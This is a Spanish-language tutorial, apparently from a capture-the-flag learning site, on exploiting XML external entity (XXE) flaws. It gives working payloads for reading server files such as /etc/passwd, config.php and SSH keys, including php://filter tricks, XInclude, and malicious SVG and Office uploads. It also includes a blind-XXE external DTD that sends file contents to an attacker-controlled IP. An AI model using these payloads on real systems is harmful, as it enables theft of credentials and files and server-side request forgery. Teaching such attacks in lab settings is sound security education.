XXE: leer ficheros del servidor con entidades externas de XML
Qué es una XXE, cómo detectarla en APIs, SVG y documentos de Office, leer ficheros con php://filter, la XXE ciega con DTD externo y su uso como SSRF.
XML permite definir entidades: variables que se sustituyen al leer el documento. Una entidad externa toma su valor de un fichero o de una URL. Si el servidor procesa tu XML con un parser que las tiene activadas, &xxe; se convierte en el contenido de /etc/passwd. Es la XXE, y en el catálogo aparece en máquinas como BountyHunter, Aragog y RedPanda.
Dónde buscarla
- Peticiones con
Content-Type: application/xmlotext/xml, y APIs SOAP. - Peticiones JSON en las que el servidor también acepta XML: cambia el
Content-Typeaapplication/xmly manda el mismo dato en XML. - Datos que viajan en base64 o URL-encoded y, al decodificarlos, son XML (es lo que pasa en BountyHunter).
- Subidas de SVG, DOCX/XLSX/PPTX (son zips con XML dentro), RSS, GPX, KML, SAML.
Leer un fichero
La prueba clásica. Defines la entidad en el DOCTYPE y la usas en un campo que la aplicación te devuelve:
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<datos><nombre>&xxe;</nombre></datos>
En Windows, file:///c:/windows/win.ini.
Ficheros con caracteres especiales
Si el fichero tiene < o & (un .php, un XML), el parser falla. En PHP, pídelo en base64 con un wrapper:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php"> ]>
echo 'PD9waHAg...' | base64 -d
Qué leer: código fuente y configuraciones con contraseñas (config.php, .env, web.config), /etc/hosts para descubrir otros hosts, /proc/self/environ y /home/<usuario>/.ssh/id_rsa. La guía de LFI tiene una lista de ficheros interesantes que vale igual aquí.
Detectarla aunque no veas el valor
Si la entidad no aparece en la respuesta, comprueba primero que el parser resuelve entidades externas haciendo que llame a tu equipo:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://10.10.14.5/prueba"> ]>
<datos>&xxe;</datos>
python3 -m http.server 80
Si llega la petición, el parser es vulnerable. Eso también es una SSRF: puedes hacer que el servidor pida URLs internas.
XXE ciega: sacar el fichero por la red
Cuando no ves nada en la respuesta, usa un DTD externo que lea el fichero y lo mande en la URL de una segunda petición. En tu equipo, evil.dtd:
<!ENTITY % fichero SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">
<!ENTITY % todo "<!ENTITY % enviar SYSTEM 'http://10.10.14.5/?d=%fichero;'>">
%todo;
%enviar;
Y en la petición vulnerable:
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY % dtd SYSTEM "http://10.10.14.5/evil.dtd"> %dtd; ]>
<datos>hola</datos>
En el log de tu servidor aparece GET /?d=<base64>. Con ficheros grandes o con saltos de línea, el base64 (con PHP) es casi obligatorio; sin PHP, prueba ftp:// en lugar de http:// con un servidor FTP que registre lo que recibe.
Truco
Si el parser muestra los errores, hay un atajo: haz que la entidad apunte a un fichero inexistente cuyo nombre incluye el contenido (file:///nada/%fichero;). El error te enseña el contenido directamente.
Cuando no controlas el documento entero
Si solo controlas un valor que se mete dentro de un XML del servidor (no puedes poner el DOCTYPE), usa XInclude:
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
SVG y documentos de Office
Un SVG es XML, así que una subida de imágenes que lo procesa (para hacer una miniatura, por ejemplo) puede ser vulnerable:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<svg width="300" height="100" xmlns="http://www.w3.org/2000/svg">
<text x="10" y="40">&xxe;</text>
</svg>
Con un .docx o .xlsx, descomprímelo, añade la entidad en word/document.xml (o xl/workbook.xml), vuelve a comprimirlo con zip -r y súbelo. Combina esto con la guía de subida de ficheros.
Errores típicos
- Error de sintaxis al leer un
.php: tiene caracteres que rompen el XML. Usaphp://filteren base64. - Funciona la entidad interna (
<!ENTITY a "hola">) pero no la externa: el parser tiene desactivadas las entidades externas. Prueba XInclude o mira si el parser es otro en otro endpoint. - El DTD externo no se descarga: el servidor no puede salir a tu IP por ese puerto. Prueba el 80 o el 443, o aprovecha un DTD local que ya exista en el sistema (hay listas de DTD reutilizables en sistemas Linux y Windows).
Y después
Con el código fuente y las credenciales que hayas leído, vuelve a la aplicación o prueba esas contraseñas por SSH (reutilización de contraseñas). La chuleta de inyecciones web tiene todos los payloads de esta guía listos para copiar.